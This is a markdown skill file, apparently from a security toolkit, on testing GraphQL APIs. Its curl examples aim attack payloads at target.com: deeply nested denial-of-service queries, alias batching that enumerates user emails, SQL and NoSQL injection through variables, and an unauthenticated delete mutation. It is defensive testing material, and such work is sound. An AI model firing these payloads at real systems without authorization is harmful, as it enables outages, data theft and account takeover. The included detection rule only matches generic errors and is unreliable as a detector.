<!-- Copyright (c) 2026 defconxt. All rights reserved. -->
<!-- Licensed under AGPL-3.0 — see LICENSE file for details. -->
---
name: testing-graphql-security
description: >-
  Test GraphQL APIs for introspection disclosure, query depth and complexity
  attacks, batching abuse, injection through variables, authorization bypass
  via field-level access control gaps, and information leakage through
  verbose error messages and debug modes.
domain: cybersecurity
subdomain: application-security
tags:
  - graphql
  - api-security
  - introspection
  - injection
  - owasp-a01
version: "1.0"
author: defconxt
license: AGPL-3.0
metadata:
  mitre-attack: ["T1190", "T1087"]
  owasp-top10: ["A01"]
  tools: ["graphql-voyager", "inql", "burpsuite", "nuclei", "graphqlmap"]
---

# Testing GraphQL Security

## Overview

GraphQL APIs present unique attack surfaces: introspection reveals the full
schema, nested queries cause denial of service, batching enables brute force,
and field-level authorization is frequently missing. Testing must cover
schema enumeration, query abuse, injection via variables, and access control.

## Prerequisites

- Tools: InQL (Burp extension), graphqlmap, nuclei, curl
- GraphQL endpoint URL
- Authentication tokens if required

## Workflow

### Step 1: Schema Introspection

```bash
# Full introspection query
curl -s -X POST https://target.com/graphql \
  -H "Content-Type: application/json" \
  -d '{"query":"{__schema{types{name fields{name type{name}}}}}"}'

# Check if introspection is disabled
curl -s -X POST https://target.com/graphql \
  -H "Content-Type: application/json" \
  -d '{"query":"{__schema{queryType{name}}}"}'

# Nuclei introspection check
nuclei -u https://target.com/graphql -t http/exposed-panels/graphql.yaml -json
```

### Step 2: Query Depth and Complexity Attacks

```bash
# Deep nested query (DoS)
curl -s -X POST https://target.com/graphql \
  -H "Content-Type: application/json" \
  -d '{"query":"{users{friends{friends{friends{friends{friends{name}}}}}}}"}'

# Alias-based batching attack
curl -s -X POST https://target.com/graphql \
  -H "Content-Type: application/json" \
  -d '{"query":"{a:user(id:1){email} b:user(id:2){email} c:user(id:3){email}}"}'

# Array-based batching
curl -s -X POST https://target.com/graphql \
  -H "Content-Type: application/json" \
  -d '[{"query":"{user(id:1){email}}"},{"query":"{user(id:2){email}}"}]'
```

### Step 3: Injection via Variables

```bash
# SQL injection through variables
curl -s -X POST https://target.com/graphql \
  -H "Content-Type: application/json" \
  -d '{"query":"query($id:String!){user(id:$id){name email}}","variables":{"id":"1'\'' OR '\''1'\''='\''1"}}'

# NoSQL injection
curl -s -X POST https://target.com/graphql \
  -H "Content-Type: application/json" \
  -d '{"query":"query($u:String!){login(user:$u){token}}","variables":{"u":{"$ne":""}}}'
```

### Step 4: Authorization Testing

```bash
# Access admin fields as regular user
curl -s -X POST https://target.com/graphql \
  -H "Content-Type: application/json" \
  -H "Authorization: Bearer USER_TOKEN" \
  -d '{"query":"{users{id email role isAdmin}}"}'

# Mutation without proper authorization
curl -s -X POST https://target.com/graphql \
  -H "Content-Type: application/json" \
  -d '{"query":"mutation{deleteUser(id:1){success}}"}'
```

## Detection Opportunities

| Signal | Source | Description |
|--------|--------|-------------|
| Introspection queries | API gateway logs | __schema or __type in query body |
| Deep nested queries | Performance monitoring | Query depth exceeding threshold |
| Batch requests | WAF logs | Array payloads or excessive aliases |

```yaml
title: Testing Graphql Security Detection
id: 68f8b1a5-6c91-45bd-b338-ee9f48b2b430
status: experimental
description: Detects suspicious activity related to testing graphql security techniques in application security context
logsource:
  category: application
  product: webserver
detection:
  selection:
    EventType: error
  condition: selection
level: medium
tags:
  - attack.t1190
  - attack.t1087
  - attack.initial_access
falsepositives:
  - Application security scanning tools during CI/CD pipeline execution
```

## Verification

- [ ] Introspection disabled in production
- [ ] Query depth and complexity limits enforced
- [ ] Batching rate-limited or disabled
- [ ] Variables validated and parameterized
- [ ] Field-level authorization enforced
- [ ] Error messages sanitized

## References

- [GraphQL Security Best Practices](https://graphql.org/learn/security/)
- [HackerOne GraphQL Bugs](https://hackerone.com/hacktivity?queryString=graphql)
- [OWASP GraphQL Cheat Sheet](https://cheatsheetseries.owasp.org/cheatsheets/GraphQL_Cheat_Sheet.html)
